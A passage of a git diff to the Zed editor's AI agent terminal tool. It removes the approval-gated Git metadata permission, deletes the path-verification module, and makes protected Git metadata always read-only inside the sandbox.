 /// - Always prepend `GIT_EDITOR=true ` to any git command that may invoke an editor, including `git rebase`, `git commit`, `git merge`, and `git tag`. Example: `GIT_EDITOR=true git rebase origin/main` (NOT `git rebase origin/main`).
 /// - For other commands that may open a pager or editor, set `PAGER=cat` and/or `EDITOR=true` similarly.
 #[derive(Clone, Debug, Default, Serialize, Deserialize, JsonSchema)]
 pub struct SandboxedTerminalToolInput {
     /// The one-liner command to execute. Do not include shell substitutions or interpolations such as `$VAR`, `${VAR}`, `$(...)`, backticks, `$((...))`, `<(...)`, or `>(...)`; resolve those values first or ask the user for the literal value to use.
     ///
-    /// REMINDER: read-only git commands (`git log`, `git diff`, `git show`, `git blame`) MUST include `--no-pager` (e.g. `git --no-pager log`). Git commands that may open an editor (`git rebase`, `git commit`, `git merge`, `git tag`) MUST be prefixed with `GIT_EDITOR=true ` (e.g. `GIT_EDITOR=true git rebase origin/main`). Otherwise the terminal will hang.
+    /// REMINDER: read-only git commands (`git log`, `git diff`, `git show`, `git blame`) MUST include `--no-pager` (e.g. `git --no-pager log`). Prefer `git --no-optional-locks status` over `git status` to avoid optional metadata writes. Git commands that may open an editor (`git rebase`, `git commit`, `git merge`, `git tag`) MUST be prefixed with `GIT_EDITOR=true ` (e.g. `GIT_EDITOR=true git rebase origin/main`). Otherwise the terminal will hang.
     pub command: String,
     /// Working directory for the command. This must be one of the root directories of the project.
     pub cd: String,
@@ -129,9 +131,10 @@ pub struct SandboxedTerminalToolInput {
     /// Set to `true` only if the command needs outbound network access to
     /// hosts you can't enumerate up front.
     ///
-    /// This grants unrestricted outbound network access. Prefer `allow_hosts`
-    /// with specific hostnames whenever possible, so the user knows what's
-    /// being approved. Requesting it triggers a user approval prompt.
+    /// This grants unrestricted outbound network access. On platforms that
+    /// support host-specific grants, prefer `allow_hosts` with specific
+    /// hostnames whenever possible, so the user knows what's being approved.
+    /// Requesting it triggers a user approval prompt.
     #[serde(default)]
     pub allow_all_hosts: Option<bool>,
     /// Paths the command needs to write to outside the default-writable
@@ -146,7 +149,8 @@ pub struct SandboxedTerminalToolInput {
     /// Provide absolute or worktree-relative paths; each
     /// directory grants write access to its whole subtree. Prefer this over
     /// `allow_fs_write_all` whenever you can enumerate the paths. Requesting
-    /// paths triggers a user approval prompt.
+    /// paths triggers a user approval prompt. Git metadata paths cannot be
+    /// requested and will never be made writable while sandboxed.
     #[cfg_attr(
         target_os = "linux",
         doc = "\nOn Linux, every path here must be a directory that already exists. \
@@ -160,25 +164,18 @@ pub struct SandboxedTerminalToolInput {
     /// enumerated up front.
     ///
     /// This is a broad escape hatch — prefer `fs_write_paths` whenever the
-    /// set of paths is known. Requesting it triggers a user approval prompt.
+    /// set of paths is known. Protected Git metadata remains read-only.
+    /// Requesting it triggers a user approval prompt.
     #[serde(default, alias = "allow_fs_write")]
     pub allow_fs_write_all: Option<bool>,
-    /// Set to `true` when the command needs access to protected Git metadata.
-    ///
-    /// By default sandboxed commands can't write to the `.git` directories of
-    /// opened worktrees and discovered repositories. On macOS, `.git` file
-    /// contents are also hidden while metadata stays visible; on Linux and
-    /// Windows/WSL, `.git` contents remain readable but are mounted read-only.
-    /// Set this for Git operations that need to write those paths (commit,
-    /// fetch, rebase, …). Requesting it triggers a user approval prompt.
-    #[serde(default)]
-    pub allow_git_access: Option<bool>,
+
     /// Set to `true` only as a last resort, to run the command fully outside
     /// the sandbox.
     ///
-    /// First try the narrower options (`allow_hosts`, `fs_write_paths`,
-    /// `allow_fs_write_all`, `allow_git_access`); use this only when the command
-    /// needs behavior the sandbox can't grant on a per-permission basis.
+    /// First try the narrower options (`allow_hosts`, `fs_write_paths`, or
+    /// `allow_fs_write_all`); use this only when the command
+    /// needs behavior the sandbox can't grant on a per-permission basis,
+    /// including commands that must write Git metadata.
     /// Requesting it triggers a user approval prompt.
     #[cfg_attr(
         target_os = "windows",
@@ -192,8 +189,8 @@ pub struct SandboxedTerminalToolInput {
     #[serde(default)]
     pub unsandboxed: Option<bool>,
     /// A short justification for why this command needs the sandbox
-    /// permission(s) it requests (`allow_network`, `fs_write_paths`,
-    /// `allow_fs_write_all`, or `unsandboxed`).
+    /// permission(s) it requests (`allow_hosts`, `allow_all_hosts`,
+    /// `fs_write_paths`, `allow_fs_write_all`, or `unsandboxed`).
     ///
     /// Required whenever you request any of those permissions; omit it for
     /// ordinary commands that request none. Write it in your own voice — it
@@ -209,7 +206,6 @@ struct TerminalSandboxInput {
     allow_all_hosts: Option<bool>,
     fs_write_paths: Vec<String>,
     allow_fs_write_all: Option<bool>,
-    allow_git_access: Option<bool>,
     unsandboxed: Option<bool>,
     reason: Option<String>,
 }
@@ -252,7 +248,6 @@ impl From<SandboxedTerminalToolInput> for TerminalToolRequest {
                 allow_all_hosts: input.allow_all_hosts,
                 fs_write_paths: input.fs_write_paths,
                 allow_fs_write_all: input.allow_fs_write_all,
-                allow_git_access: input.allow_git_access,
                 unsandboxed: input.unsandboxed,
                 reason: input.reason,
             }),
@@ -382,14 +377,19 @@ fn terminal_initial_title(input: Result<String, serde_json::Value>) -> SharedStr
 
 /// Windows only: resolve the `(release channel, version)` of the Linux `zed` to
 /// provision inside WSL as the sandbox helper. Dev (source) builds have no
-/// matching release, so they pull the latest nightly; every other channel pins
-/// its exact running version (stripped of pre-release/build metadata, which the
-/// release API doesn't key on).
+/// matching release, so they pull the latest nightly. Nightly builds also track
+/// `latest`: nightly assets are keyed by their full build metadata
+/// (`X.Y.Z+nightly.<n>.<sha>`), which `AppVersion` strips, so a bare `X.Y.Z`
+/// never resolves on the nightly host. Preview and stable pin their exact
+/// running version (stripped of pre-release/build metadata, which the release
+/// API doesn't key on).
 #[cfg(target_os = "windows")]
 fn wsl_zed_release(cx: &App) -> Option<(String, String)> {
     use release_channel::{AppVersion, ReleaseChannel};
     match *release_channel::RELEASE_CHANNEL {
-        ReleaseChannel::Dev => Some(("nightly".to_string(), "latest".to_string())),
+        ReleaseChannel::Dev | ReleaseChannel::Nightly => {
+            Some(("nightly".to_string(), "latest".to_string()))
+        }
         channel => {
             let version = AppVersion::global(cx);
             Some((
@@ -442,7 +442,6 @@ async fn run_terminal_tool(
     let want_fs_write_all = sandboxing && sandbox_input.allow_fs_write_all == Some(true);
     let want_unsandboxed = sandboxing && sandbox_input.unsandboxed == Some(true);
     let want_all_hosts = sandboxing && sandbox_input.allow_all_hosts == Some(true);
-    let want_git_access = sandboxing && sandbox_input.allow_git_access == Some(true);
 
     let persistent = cx.update(|cx| {
         agent_settings::AgentSettings::get_global(cx)
@@ -498,8 +497,8 @@ async fn run_terminal_tool(
             {
                 return Err(
                     "Unrestricted filesystem writes are enabled for this thread, so every command \
-                     can already write anywhere; `fs_write_paths` cannot narrow that. Remove \
-                     `fs_write_paths`."
+                     can already write anywhere except protected Git metadata; `fs_write_paths` \
+                     cannot narrow that. Remove `fs_write_paths`."
                         .to_string(),
                 );
             }
@@ -569,7 +568,6 @@ async fn run_terminal_tool(
 
     let request = crate::sandboxing::SandboxRequest {
         network,
-        allow_git_access: !want_unsandboxed && want_git_access,
         allow_fs_write_all: !want_unsandboxed && want_fs_write_all,
         unsandboxed: want_unsandboxed,
         write_paths,
@@ -618,7 +616,7 @@ async fn run_terminal_tool(
         allow(unused_mut)
     )]
     let mut sandbox_not_applied: Option<acp_thread::SandboxNotAppliedReason> = None;
-    let mut git_access_downgrade_note = None;
+
     let sandbox_wrap = if sandboxing && !want_unsandboxed {
         if unsandboxed_floor {
             // Every command in this thread runs unsandboxed because the user
@@ -635,32 +633,16 @@ async fn run_terminal_tool(
                         .to_string(),
                 );
             }
-            let (fs, sandbox_path_candidates) = cx.update(|cx| {
+            let (writable_paths, protected_paths) = cx.update(|cx| {
                 (
-                    project.read(cx).fs().clone(),
-                    SandboxGitPathCandidates::from_project(project.read(cx), cx),
+                    sandbox_worktree_writable_paths(project.read(cx), cx),
+                    sandbox_git_dirs(project.read(cx), cx),
                 )
             });
-            let sandbox_paths = sandbox_git_paths(
-                sandbox_path_candidates,
-                fs.as_ref(),
-                effective.allow_git_access,
-            )
-            .await;
-            if effective.allow_git_access && !sandbox_paths.allow_git_access {
-                log::warn!(
-                    "Downgrading requested agent terminal Git metadata access because one or more external Git metadata paths could not be verified"
-                );
-                git_access_downgrade_note = Some(
-                    "Note: Git metadata access was requested or already allowed, but Zed could not verify one or more external Git metadata paths for this project. The command ran with Git metadata protected, so Git operations that read or write `.git` may fail with sandbox permission errors."
-                        .to_string(),
-                );
-            }
             let wrap = acp_thread::SandboxWrap {
-                writable_paths: sandbox_paths.writable_paths,
+                writable_paths,
                 extra_write_paths: effective.write_paths,
-                git_dirs: sandbox_paths.git_dirs,
-                allow_git_access: sandbox_paths.allow_git_access,
+                protected_paths,
                 network: network_request_to_sandbox_network_access(&effective.network),
                 allow_fs_write: effective.allow_fs_write_all,
                 is_local: is_local_project,
@@ -944,13 +926,7 @@ async fn run_terminal_tool(
     let output = terminal.current_output(cx).map_err(|e| e.to_string())?;
 
     let result = process_content(output, &input.command, timed_out, user_stopped, selection);
-    let git_access_downgrade_note = (sandbox_wrap.is_some() && sandbox_not_applied.is_none())
-        .then_some(git_access_downgrade_note)
-        .flatten();
-    let notes = sandbox_note
-        .into_iter()
-        .chain(git_access_downgrade_note)
-        .collect::<Vec<_>>();
+    let notes = sandbox_note.into_iter().collect::<Vec<_>>();
     Ok(if notes.is_empty() {
         result
     } else {
diff --git a/crates/agent/src/tools/terminal_tool/sandbox_git_paths.rs b/crates/agent/src/tools/terminal_tool/sandbox_git_paths.rs
deleted file mode 100644
index 4133d5d15cefc5..00000000000000
--- a/crates/agent/src/tools/terminal_tool/sandbox_git_paths.rs
+++ /dev/null
@@ -1,1416 +0,0 @@
-use fs::Fs;
-use gpui::App;
-use project::Project;
-use std::path::{Path, PathBuf};
-
-#[derive(Default)]
-pub(crate) struct SandboxGitPathCandidates {
-    pub(crate) writable_paths: Vec<PathBuf>,
-    pub(crate) git_paths: Vec<PathBuf>,
-    repositories: Vec<SandboxGitRepositoryPaths>,
-}
-
-struct SandboxGitRepositoryPaths {
-    work_directory_abs_path: PathBuf,
-    dot_git_abs_path: PathBuf,
-    repository_dir_abs_path: PathBuf,
-    common_dir_abs_path: PathBuf,
-}
-
-pub(crate) struct SandboxGitPaths {
-    pub(crate) writable_paths: Vec<PathBuf>,
-    pub(crate) git_dirs: Vec<PathBuf>,
-    pub(crate) allow_git_access: bool,
-}
-
-impl SandboxGitPathCandidates {
-    pub(crate) fn cache_key_repositories(&self) -> Vec<(PathBuf, PathBuf, PathBuf, PathBuf)> {
-        let mut repositories = self
-            .repositories
-            .iter()
-            .map(|repository| {
-                (
-                    repository.work_directory_abs_path.clone(),
-                    repository.dot_git_abs_path.clone(),
-                    repository.repository_dir_abs_path.clone(),
-                    repository.common_dir_abs_path.clone(),
-                )
-            })
-            .collect::<Vec<_>>();
-        repositories.sort();
-        repositories
-    }
-
-    pub(crate) fn from_project(project: &Project, cx: &App) -> Self {
-        let mut candidates = Self::default();
-
-        for worktree in project.worktrees(cx) {
-            let worktree = worktree.read(cx);
-            let worktree_abs_path = worktree.abs_path();
-            candidates
-                .writable_paths
-                .push(worktree_abs_path.to_path_buf());
-            // Protect `<worktree>/.git` even when it doesn't exist yet, so a command
-            // can't `git init` and then write to the freshly created metadata.
-            candidates.git_paths.push(worktree_abs_path.join(".git"));
-
-            // `Worktree` derefs to `Snapshot`; read the field directly instead of
-            // cloning the whole snapshot just for this path.
-            if let Some(root_repo_common_dir) = worktree.root_repo_common_dir() {
-                candidates
-                    .git_paths
-                    .push(root_repo_common_dir.to_path_buf());
-            }
-        }
-
-        // `Repository` derefs to `RepositorySnapshot`, so read the few path fields
-        // directly rather than cloning the entire snapshot (which carries the
-        // per-path status tree) for each repository.
-        for repository in project.git_store().read(cx).repositories().values() {
-            let repository = repository.read(cx);
-            let repository_paths = SandboxGitRepositoryPaths {
-                work_directory_abs_path: repository.work_directory_abs_path.to_path_buf(),
-                dot_git_abs_path: repository.dot_git_abs_path.to_path_buf(),
-                repository_dir_abs_path: repository.repository_dir_abs_path.to_path_buf(),
-                common_dir_abs_path: repository.common_dir_abs_path.to_path_buf(),
-            };
-            candidates
-                .git_paths
-                .push(repository_paths.dot_git_abs_path.clone());
-            candidates
-                .git_paths
-                .push(repository_paths.repository_dir_abs_path.clone());
-            candidates
-                .git_paths
-                .push(repository_paths.common_dir_abs_path.clone());
-            candidates.repositories.push(repository_paths);
-        }
-
-        candidates.git_paths.sort();
-        candidates.git_paths.dedup();
-        candidates.writable_paths.sort();
-        candidates.writable_paths.dedup();
-
-        candidates
-    }
-}
-
-pub(crate) async fn sandbox_git_paths(
-    candidates: SandboxGitPathCandidates,
-    fs: &dyn Fs,
-    allow_git_access: bool,
-) -> SandboxGitPaths {
-    let mut writable_paths = candidates.writable_paths;
-    let mut git_dirs = candidates.git_paths;
-
-    let mut allow_verified_git_access = false;
-    if allow_git_access {
-        let mut verified_git_paths = Vec::new();
-        for repository in candidates.repositories {
-            verified_git_paths.extend(verified_sandbox_git_paths(repository, fs).await);
-        }
-        verified_git_paths.sort();
-        verified_git_paths.dedup();
-
-        // A Git path inside a writable worktree root is already writable, so
-        // granting it can never escalate access beyond the project. A non-repo
-        // `.git` placeholder there (a plain folder opened alongside a repo, or a
-        // not-yet-initialized repo) would never appear in `verified_git_paths`,
-        // so requiring it to verify would wrongly deny the whole grant. Only
-        // paths that fall *outside* every writable root can leak access to
-        // unrelated metadata, so those are the only ones that must verify.
-        let mut all_external_git_paths_verified = true;
-        for path in &git_dirs {
-            if path_is_within_any(path, &writable_paths) {
-                continue;
-            }
-            let Some(normalized_path) = normalize_sandbox_git_path(path, fs).await else {
-                log::warn!(
-                    "Denying requested agent terminal Git metadata access because external Git metadata path `{}` could not be normalized",
-                    path.display()
-                );
-                all_external_git_paths_verified = false;
-                break;
-            };
-            if verified_git_paths.binary_search(&normalized_path).is_err() {
-                log::warn!(
-                    "Denying requested agent terminal Git metadata access because external Git metadata path `{}` (normalized to `{}`) was not verified from project repository metadata",
-                    path.display(),
-                    normalized_path.display()
-                );
-                all_external_git_paths_verified = false;
-                break;
-            }
-        }
-
-        // The current sandbox policy can make one Git directory set either all
-        // writable or all protected. Only grant Git access when every external
-        // candidate still verifies; otherwise keep protecting the original
-        // candidate set. The granted set is the verified paths only, so even
-        // when the grant proceeds, unverified `.git` metadata never becomes
-        // writable.
-        if all_external_git_paths_verified {
-            git_dirs = verified_git_paths;
-            allow_verified_git_access = true;
-        }
-    }
-
-    git_dirs.sort();
-    git_dirs.dedup();
-    writable_paths.sort();
-    writable_paths.dedup();
-
-    SandboxGitPaths {
-        writable_paths,
-        git_dirs,
-        allow_git_access: allow_verified_git_access,
-    }
-}
-
-async fn verified_sandbox_git_paths(
-    repository: SandboxGitRepositoryPaths,
-    fs: &dyn Fs,
-) -> Vec<PathBuf> {
-    macro_rules! deny {
-        ($($arg:tt)*) => {{
-            log::debug!(
-                "Denying agent terminal Git metadata access for repository `{}` (dot_git: `{}`, repository_dir: `{}`, common_dir: `{}`): {}",
-                repository.work_directory_abs_path.display(),
-                repository.dot_git_abs_path.display(),
-                repository.repository_dir_abs_path.display(),
-                repository.common_dir_abs_path.display(),
-                format_args!($($arg)*)
-            );
-            return Vec::new();
-        }};
-    }
-
-    let Some(dot_git_abs_path) = normalize_sandbox_git_path(&repository.dot_git_abs_path, fs).await
-    else {
-        deny!(
-            "could not normalize .git path `{}`",
-            repository.dot_git_abs_path.display()
-        );
-    };
-    let Some(repository_dir_abs_path) =
-        normalize_sandbox_git_path(&repository.repository_dir_abs_path, fs).await
-    else {
-        deny!(
-            "could not normalize repository dir `{}`",
-            repository.repository_dir_abs_path.display()
-        );
-    };
-    let Some(common_dir_abs_path) =
-        normalize_sandbox_git_path(&repository.common_dir_abs_path, fs).await
-    else {
-        deny!(
-            "could not normalize common dir `{}`",
-            repository.common_dir_abs_path.display()
-        );
-    };
-
-    let dot_git_metadata = match fs.metadata(&repository.dot_git_abs_path).await {
-        Ok(Some(metadata)) => metadata,
-        Ok(None) => deny!(
-            ".git path `{}` does not exist",
-            repository.dot_git_abs_path.display()
-        ),
-        Err(error) => deny!(
-            "failed to read metadata for .git path `{}`: {error}",
-            repository.dot_git_abs_path.display()
-        ),
-    };
-    if dot_git_metadata.is_symlink {
-        deny!(
-            ".git path `{}` is a symlink",
-            repository.dot_git_abs_path.display()
-        );
-    }
-
-    if dot_git_metadata.is_dir {
-        if dot_git_abs_path != repository_dir_abs_path {
-            deny!(
-                "directory .git path `{}` normalized to `{}`, which does not match repository dir `{}` normalized to `{}`",
-                repository.dot_git_abs_path.display(),
-                dot_git_abs_path.display(),
-                repository.repository_dir_abs_path.display(),
-                repository_dir_abs_path.display()
-            );
-        }
-
-        if repository_dir_abs_path == common_dir_abs_path {
-            return vec![
-                dot_git_abs_path,
-                repository_dir_abs_path,
-                common_dir_abs_path,
-            ];
-        }
-
-        let Some(common_dir) = read_commondir_path(&repository_dir_abs_path, fs).await else {
-            deny!(
-                "repository dir `{}` did not contain a readable commondir pointing at expected common dir `{}`",
-                repository_dir_abs_path.display(),
-                common_dir_abs_path.display()
-            );
-        };
-        if common_dir == common_dir_abs_path {
-            return vec![
-                dot_git_abs_path,
-                repository_dir_abs_path,
-                common_dir_abs_path,
-            ];
-        }
-        deny!(
-            "repository dir `{}` commondir resolved to `{}`, expected `{}`",
-            repository_dir_abs_path.display(),
-            common_dir.display(),
-            common_dir_abs_path.display()
-        );
-    }
-
-    let Some(expected_dot_git_abs_path) =
-        normalize_sandbox_git_path(repository.work_directory_abs_path.join(".git"), fs).await
-    else {
-        deny!(
-            "could not normalize expected worktree .git path `{}`",
-            repository.work_directory_abs_path.join(".git").display()
-        );
-    };
-    if dot_git_abs_path != expected_dot_git_abs_path {
-        deny!(
-            ".git path `{}` normalized to `{}`, expected worktree .git path `{}`",
-            repository.dot_git_abs_path.display(),
-            dot_git_abs_path.display(),
-            expected_dot_git_abs_path.display()
-        );
-    }
-
-    let Some(stated_repository_dir) = read_gitfile_path(&repository.dot_git_abs_path, fs).await
-    else {
-        deny!(
-            "gitfile `{}` did not resolve to a readable, non-symlink repository dir",
-            repository.dot_git_abs_path.display()
-        );
-    };
-
-    if stated_repository_dir != repository_dir_abs_path {
-        deny!(
-            "gitfile `{}` resolved to repository dir `{}`, expected `{}`",
-            repository.dot_git_abs_path.display(),
-            stated_repository_dir.display(),
-            repository_dir_abs_path.display()
-        );
-    }
-
-    let Some(common_dir) = read_commondir_path(&stated_repository_dir, fs).await else {
-        if repository_dir_abs_path == common_dir_abs_path
-            && gitdir_belongs_to_submodule_worktree(
-                &repository_dir_abs_path,
-                &repository.work_directory_abs_path,
-                fs,
-            )
-            .await
-        {
-            return vec![dot_git_abs_path, repository_dir_abs_path];
-        }
-        deny!(
-            "repository dir `{}` has no verified commondir and did not verify as a submodule gitdir for worktree `{}`",
-            repository_dir_abs_path.display(),
-            repository.work_directory_abs_path.display()
-        );
-    };
-
-    if common_dir != common_dir_abs_path {
-        deny!(
-            "repository dir `{}` commondir resolved to `{}`, expected `{}`",
-            stated_repository_dir.display(),
-            common_dir.display(),
-            common_dir_abs_path.display()
-        );
-    }
-
-    if repository_dir_abs_path != common_dir_abs_path
-        && !linked_worktree_points_back(
-            &common_dir_abs_path,
-            &repository_dir_abs_path,
-            &dot_git_abs_path,
-            &repository.work_directory_abs_path,
-            fs,
-        )
-        .await
-    {
-        deny!(
-            "linked worktree repository dir `{}` did not point back to .git path `{}` and worktree `{}` under common dir `{}`",
-            repository_dir_abs_path.display(),
-            dot_git_abs_path.display(),
-            repository.work_directory_abs_path.display(),
-            common_dir_abs_path.display()
-        );
-    }
-
-    vec![
-        dot_git_abs_path,
-        repository_dir_abs_path,
-        common_dir_abs_path,
-    ]
-}
-
-async fn read_gitfile_path(dot_git_abs_path: &Path, fs: &dyn Fs) -> Option<PathBuf> {
-    let contents = match fs.load(dot_git_abs_path).await {
-        Ok(contents) => contents,
-        Err(error) => {
-            log::debug!(
-                "Could not verify Git metadata path: failed to read gitfile `{}`: {error}",
-                dot_git_abs_path.display()
-            );
-            return None;
-        }
-    };
-    let Some(gitdir) = contents.strip_prefix("gitdir:") else {
-        log::debug!(
-            "Could not verify Git metadata path: gitfile `{}` does not start with `gitdir:`",
-            dot_git_abs_path.display()
-        );
-        return None;
-    };
-    let gitdir = Path::new(gitdir.trim());
-    let Some(dot_git_parent) = dot_git_abs_path.parent() else {
-        log::debug!(
-            "Could not verify Git metadata path: gitfile `{}` has no parent directory",
-            dot_git_abs_path.display()
-        );
-        return None;
-    };
-    let path = if gitdir.is_absolute() {
-        gitdir.to_path_buf()
-    } else {
-        dot_git_parent.join(gitdir)
-    };
-    match fs.metadata(&path).await {
-        Ok(Some(metadata)) if metadata.is_symlink => {
-            log::debug!(
-                "Could not verify Git metadata path: gitfile `{}` points to symlinked gitdir `{}`",
-                dot_git_abs_path.display(),
-                path.display()
-            );
-            return None;
-        }
-        Ok(_) => {}
-        Err(error) => {
-            log::debug!(
-                "Could not check whether gitfile `{}` points to a symlink at `{}`: {error}",
-                dot_git_abs_path.display(),
-                path.display()
-            );
-        }
-    }
-    let normalized_path = normalize_sandbox_git_path(&path, fs).await;
-    if normalized_path.is_none() {
-        log::debug!(
-            "Could not verify Git metadata path: gitfile `{}` points to gitdir `{}` that could not be normalized",
-            dot_git_abs_path.display(),
-            path.display()
-        );
-    }
-    normalized_path
-}
-
-async fn read_commondir_path(repository_dir_abs_path: &Path, fs: &dyn Fs) -> Option<PathBuf> {
-    let commondir_abs_path = repository_dir_abs_path.join("commondir");
-    let commondir_contents = match fs.load(&commondir_abs_path).await {
-        Ok(contents) => contents,
-        Err(error) => {
-            log::debug!(
-                "Could not verify Git metadata path: failed to read commondir file `{}`: {error}",
-                commondir_abs_path.display()
-            );
-            return None;
-        }
-    };
-    let commondir_path = Path::new(commondir_contents.trim());
-    let path = if commondir_path.is_absolute() {
-        commondir_path.to_path_buf()
-    } else {
-        repository_dir_abs_path.join(commondir_path)
-    };
-    let normalized_path = normalize_sandbox_git_path(&path, fs).await;
-    if normalized_path.is_none() {
-        log::debug!(
-            "Could not verify Git metadata path: commondir file `{}` points to `{}` which could not be normalized",
-            commondir_abs_path.display(),
-            path.display()
-        );
-    }
-    normalized_path
-}
-
-async fn linked_worktree_points_back(
-    common_dir_abs_path: &Path,
-    repository_dir_abs_path: &Path,
-    dot_git_abs_path: &Path,
-    work_directory_abs_path: &Path,
-    fs: &dyn Fs,
-) -> bool {
-    let expected_repository_parent = common_dir_abs_path.join("worktrees");
-    if repository_dir_abs_path.parent() != Some(expected_repository_parent.as_path()) {
-        log::debug!(
-            "Could not verify linked worktree Git metadata: repository dir `{}` is not under expected worktrees dir `{}`",
-            repository_dir_abs_path.display(),
-            expected_repository_parent.display()
-        );
-        return false;
-    }
-
-    match fs.metadata(repository_dir_abs_path).await {
-        Ok(Some(metadata)) if metadata.is_dir && !metadata.is_symlink => {}
-        Ok(Some(metadata)) => {
-            log::debug!(
-                "Could not verify linked worktree Git metadata: repository dir `{}` has invalid metadata (is_dir: {}, is_symlink: {})",
-                repository_dir_abs_path.display(),
-                metadata.is_dir,
-                metadata.is_symlink
-            );
-            return false;
-        }
-        Ok(None) => {
-            log::debug!(
-                "Could not verify linked worktree Git metadata: repository dir `{}` does not exist",
-                repository_dir_abs_path.display()
-            );
-            return false;
-        }
-        Err(error) => {
-            log::debug!(
-                "Could not verify linked worktree Git metadata: failed to read metadata for repository dir `{}`: {error}",
-                repository_dir_abs_path.display()
-            );
-            return false;
-        }
-    }
-
-    let expected_dot_git_abs_path = work_directory_abs_path.join(".git");
-    let Some(expected_dot_git_abs_path) =
-        normalize_sandbox_git_path(&expected_dot_git_abs_path, fs).await
-    else {
-        log::debug!(
-            "Could not verify linked worktree Git metadata: expected .git path `{}` could not be normalized",
-            expected_dot_git_abs_path.display()
-        );
-        return false;
-    };
-    if dot_git_abs_path != expected_dot_git_abs_path {
-        log::debug!(
-            "Could not verify linked worktree Git metadata: .git path `{}` does not match expected worktree .git path `{}`",
-            dot_git_abs_path.display(),
-            expected_dot_git_abs_path.display()
-        );
-        return false;
-    }
-
-    let Some(listed_dot_git_path) = read_listed_worktree_gitdir(repository_dir_abs_path, fs).await
-    else {
-        return false;
-    };
-    if listed_dot_git_path != dot_git_abs_path {
-        log::debug!(
-            "Could not verify linked worktree Git metadata: repository dir `{}` lists .git path `{}`, expected `{}`",
-            repository_dir_abs_path.display(),
-            listed_dot_git_path.display(),
-            dot_git_abs_path.display()
-        );
-        return false;
-    }
-
-    true
-}
-
-async fn read_listed_worktree_gitdir(worktree_entry_dir: &Path, fs: &dyn Fs) -> Option<PathBuf> {
-    let gitdir_abs_path = worktree_entry_dir.join("gitdir");
-    let gitdir_contents = match fs.load(&gitdir_abs_path).await {
-        Ok(contents) => contents,
-        Err(error) => {
-            log::debug!(
-                "Could not verify linked worktree Git metadata: failed to read worktree gitdir file `{}`: {error}",
-                gitdir_abs_path.display()
-            );
-            return None;
-        }
-    };
-    let gitdir_path = Path::new(gitdir_contents.trim());
-    let path = if gitdir_path.is_absolute() {
-        gitdir_path.to_path_buf()
-    } else {
-        worktree_entry_dir.join(gitdir_path)
-    };
-    let normalized_path = normalize_sandbox_git_path(&path, fs).await;
-    if normalized_path.is_none() {
-        log::debug!(
-            "Could not verify linked worktree Git metadata: worktree gitdir file `{}` points to `{}` which could not be normalized",
-            gitdir_abs_path.display(),
-            path.display()
-        );
-    }
-    normalized_path
-}
-
-async fn gitdir_belongs_to_submodule_worktree(
-    repository_dir_abs_path: &Path,
-    work_directory_abs_path: &Path,
-    fs: &dyn Fs,
-) -> bool {
-    let Some(work_directory_abs_path) =
-        normalize_sandbox_git_path(work_directory_abs_path, fs).await
-    else {
-        log::debug!(
-            "Could not verify submodule Git metadata: worktree path `{}` could not be normalized",
-            work_directory_abs_path.display()
-        );
-        return false;
-    };
-
-    let Some(core_worktree) = read_core_worktree(repository_dir_abs_path, fs).await else {
-        return false;
-    };
-    if core_worktree != work_directory_abs_path {
-        log::debug!(
-            "Could not verify submodule Git metadata: repository dir `{}` has core.worktree `{}`, expected `{}`",
-            repository_dir_abs_path.display(),
-            core_worktree.display(),
-            work_directory_abs_path.display()
-        );
-        return false;
-    }
-
-    true
-}
-
-async fn read_core_worktree(repository_dir_abs_path: &Path, fs: &dyn Fs) -> Option<PathBuf> {
-    let config_abs_path = repository_dir_abs_path.join("config");
-    let config = match fs.load(&config_abs_path).await {
-        Ok(config) => config,
-        Err(error) => {
-            log::debug!(
-                "Could not verify submodule Git metadata: failed to read config `{}`: {error}",
-                config_abs_path.display()
-            );
-            return None;
-        }
-    };
-    let Some(core_worktree) = parse_core_worktree(&config) else {
-        log::debug!(
-            "Could not verify submodule Git metadata: config `{}` did not contain exactly one supported core.worktree value",
-            config_abs_path.display()
-        );
-        return None;
-    };
-    let path = Path::new(&core_worktree);
-    let path = if path.is_absolute() {
-        path.to_path_buf()
-    } else {
-        repository_dir_abs_path.join(path)
-    };
-    let normalized_path = normalize_sandbox_git_path(&path, fs).await;
-    if normalized_path.is_none() {
-        log::debug!(
-            "Could not verify submodule Git metadata: core.worktree value `{}` from config `{}` resolved to `{}` which could not be normalized",
-            core_worktree,
-            config_abs_path.display(),
-            path.display()
-        );
-    }
-    normalized_path
-}
-
-fn parse_core_worktree(config: &str) -> Option<String> {
-    let mut in_core_section = false;
-    let mut core_worktree = None;
-
-    for raw_line in config.lines() {
-        let line = raw_line.trim();
-        if line.is_empty() || line.starts_with('#') || line.starts_with(';') {
-            continue;
-        }
-        if line.ends_with('\\') {
-            return None;
-        }
-
-        if line.starts_with('[') {
-            if !line.ends_with(']') {
-                return None;
-            }
-            let section = line[1..line.len() - 1].trim();
-            if section.to_lowercase().starts_with("include") {
-                return None;
-            }
-            in_core_section = section.eq_ignore_ascii_case("core");
-            continue;
-        }
-
-        if !in_core_section {
-            continue;
-        }
-
-        let Some((key, value)) = line.split_once('=') else {
-            continue;
-        };
-        if !key.trim().eq_ignore_ascii_case("worktree") {
-            continue;
-        }
-        if core_worktree.is_some() {
-            return None;
-        }
-        core_worktree = Some(parse_git_config_path_value(value.trim())?);
-    }
-
-    core_worktree
-}
-
-fn parse_git_config_path_value(value: &str) -> Option<String> {
-    if value.is_empty() {
-        return None;
-    }
-
-    if !value.starts_with('"') {
-        if value.contains('"') || value.starts_with('~') {
-            return None;
-        }
-        return Some(value.to_string());
-    }
-
-    let mut chars = value.chars();
-    chars.next()?;
-    let mut parsed = String::new();
-    let mut escaped = false;
-    let mut closed = false;
-    while let Some(character) = chars.next() {
-        if escaped {
-            match character {
-                '"' | '\\' => parsed.push(character),
-                _ => return None,
-            }
-            escaped = false;
-        } else if character == '\\' {
-            escaped = true;
-        } else if character == '"' {
-            closed = true;
-            break;
-        } else {
-            parsed.push(character);
-        }
-    }
-
-    if escaped || !closed {
-        return None;
-    }
-
-    let remaining = &value[value.len() - chars.as_str().len()..];
-    if !remaining.trim().is_empty() {
-        return None;
-    }
-
-    if parsed.is_empty() || parsed.starts_with('~') {
-        return None;
-    }
-
-    Some(parsed)
-}
-
-fn path_is_within_any(path: &Path, roots: &[PathBuf]) -> bool {
-    // `Path::starts_with` matches whole components, so `/projectX` is not
-    // treated as being within `/project`.
-    roots.iter().any(|root| path.starts_with(root))
-}
-
-async fn normalize_sandbox_git_path(path: impl AsRef<Path>, fs: &dyn Fs) -> Option<PathBuf> {
-    if let Ok(path) = fs.canonicalize(path.as_ref()).await {
-        Some(path)
-    } else {
-        util::paths::normalize_lexically(path.as_ref()).ok()
-    }
-}
-
-#[cfg(test)]
-mod tests {
